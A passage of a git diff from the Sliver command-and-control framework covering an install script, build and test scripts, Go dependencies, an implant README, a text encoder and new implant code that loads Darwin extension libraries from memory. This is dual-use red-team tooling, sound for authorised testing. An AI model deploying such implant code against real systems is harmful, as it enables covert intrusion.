bDA+PBgwwktt6wgJImGal8KpIbI6nVChCyLv/Ry7+mW15BFjDx3Mdf7Og4HN1KmZ
|
||||
Tync6eEW11sculkC2QWXyrjb+o6bdF/6hNsa4XB2XKPCCMECxrOw5vx3lsau0sot
|
||||
3hhMbq+FTRXx/pMNEV9c7JaEB1EkV5UAhHHnieOk4NqlIaib5vU6Z8aBHAEvQ1x/
|
||||
t+GUWEOr5zvtmvd+YGeU6egX7yrqzSUjiS613oq/Nn1x9AS+dZuxMr+H/CiCnR1U
|
||||
OhrUSywALihikehthAjnZoUml6eDCO9kKss2BTqoNthDTf/WXIRE8bY5gwARAQAB
|
||||
iQI2BBgBCAAgFiEEDtOQDSls+gKDpORmffkSQERJA5wFAmBlvl8CGwwACgkQffkS
|
||||
QERJA5xjow/+Ou+JjNXrQ2wsa2bhXmF6sW3Fzwuzf3DnjLUU8U5I0rxvweSuVxYT
|
||||
uSDw7kj6H/alxPkem/6gUAlasfq70PliH7MrBW36FmGlyFf4rO1qAnLy5w1EIQm3
|
||||
9C847b0sd7SivVq0Gx1MN25aZA1w1QLPPOQZhf6EXtkVeMOeHOXvmPjyiOcUdaZH
|
||||
QXMkrTbKL2mudqUiUDrptgf9b7gfW7G7RWRuzgy8+JyxAyqpasfHdD9/9vpU9twu
|
||||
lT/55TwSWQ0IiorgjfJNtJAVKuZ+73MgPPbH1kmSRcUBEleJOMPZvgCHhs5y3eQS
|
||||
p5qUN2kQxNXLtWKVE8j9uGzY0DqO583orjATWj52Kz7SM4uio1ZBVLcJht6YPdBH
|
||||
9MkG5o3Yuzif05VBnBp8AUeLNKkW4wlg9VUwdLFuY/6vDSApbU/BSvffx4BvOGha
|
||||
2RNzTaiZaiie1Hji3/dsI7dCAfajznuzSmW/fBhDZotKEZr6o1m3OTN4gs3tA/pl
|
||||
1IjjARdTpaKqQGDtTu520RC5K7AIQvgIVy4sQN0jBZM5qNkr4Qt+U94A3vqjaRGX
|
||||
5UofpRVFFWGP9QQAuIacdTioF05sBcw15WC9ULxi2lV8vBsVjT9zIS4zxfRE8u/G
|
||||
DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
|
||||
#
|
||||
# Download and Unpack Sliver Server
|
||||
@@ -57,44 +124,73 @@ do
|
||||
fi
|
||||
done
|
||||
|
||||
if test -f "$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o $SLIVER_SERVER_ZIP -d $HOME
|
||||
rm -f $SLIVER_SERVER_ZIP
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_SERVER"; then
|
||||
chmod 755 $HOME/$SLIVER_SERVER
|
||||
$HOME/$SLIVER_SERVER unpack --force
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
/root/$SLIVER_SERVER unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o $SLIVER_CLIENT_ZIP -d $HOME
|
||||
rm -f $SLIVER_CLIENT_ZIP
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "$HOME/$SLIVER_CLIENT"; then
|
||||
chmod 755 $HOME/$SLIVER_CLIENT
|
||||
cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# systemd
|
||||
curl -o ./sliver.service https://sliver.sh/sliver.service
|
||||
cp ./sliver.service /etc/systemd/system/sliver.service
|
||||
echo "Configuring systemd service ..."
|
||||
cat > /etc/systemd/system/sliver.service <<-EOF
|
||||
[Unit]
|
||||
Description=Sliver
|
||||
After=network.target
|
||||
StartLimitIntervalSec=0
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
Restart=on-failure
|
||||
RestartSec=3
|
||||
User=root
|
||||
ExecStart=/root/sliver-server daemon
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
systemctl start sliver
|
||||
rm -f ./sliver.service
|
||||
|
||||
# generate local configs
|
||||
mkdir -p $HOME/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
|
||||
chown -R $USER:$USER $HOME/.sliver-client/
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
mkdir -p /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
|
||||
chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
USER=$(basename $USER_DIR)
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:$USER $USER_DIR/.sliver-client/
|
||||
fi
|
||||
done
|
||||
+3
-3
@@ -19,9 +19,9 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.16.6"
|
||||
GARBLE_VER="1.16.7"
|
||||
COFF_LOADER_VER="1.0.4"
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
|
||||
+16
-1
@@ -32,7 +32,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
@@ -83,6 +82,22 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
@@ -9,10 +9,11 @@ require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
@@ -34,6 +35,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -52,6 +54,47 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.20.6
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.7.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
)
|
||||
@@ -17,10 +17,15 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
@@ -36,6 +41,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
|
||||
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
|
||||
@@ -50,12 +56,16 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -268,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -364,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -554,6 +568,7 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -688,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
+1
-7
@@ -8,12 +8,6 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
|
||||
The implant code contains a lot of platform specific code too, which varies the features
|
||||
that will be supported on different platforms.
|
||||
|
||||
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
|
||||
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
|
||||
### Adding Implant Features
|
||||
|
||||
Simply adding new files to this directory will not work (but you can edit existing files).
|
||||
In order to add new features you'll need to add the code to this directory AND update the
|
||||
`server/generate/srcfiles.go` which contains a list of files the server should render.
|
||||
+2
-1
@@ -14,4 +14,5 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
)
|
||||
github.com/pquerna/otp v1.3.0
|
||||
)
|
||||
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
|
||||
return nonce, EncoderMap[encoderID]
|
||||
}
|
||||
|
||||
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
|
||||
func RandomTxtEncoder() (int, Encoder) {
|
||||
textEncoders := map[int]Encoder{
|
||||
EnglishEncoderID: English{},
|
||||
Base64EncoderID: Base64{},
|
||||
}
|
||||
keys := make([]int, 0, len(textEncoders))
|
||||
for k := range textEncoders {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
encoderID := keys[insecureRand.Intn(len(keys))]
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
return nonce, textEncoders[encoderID]
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
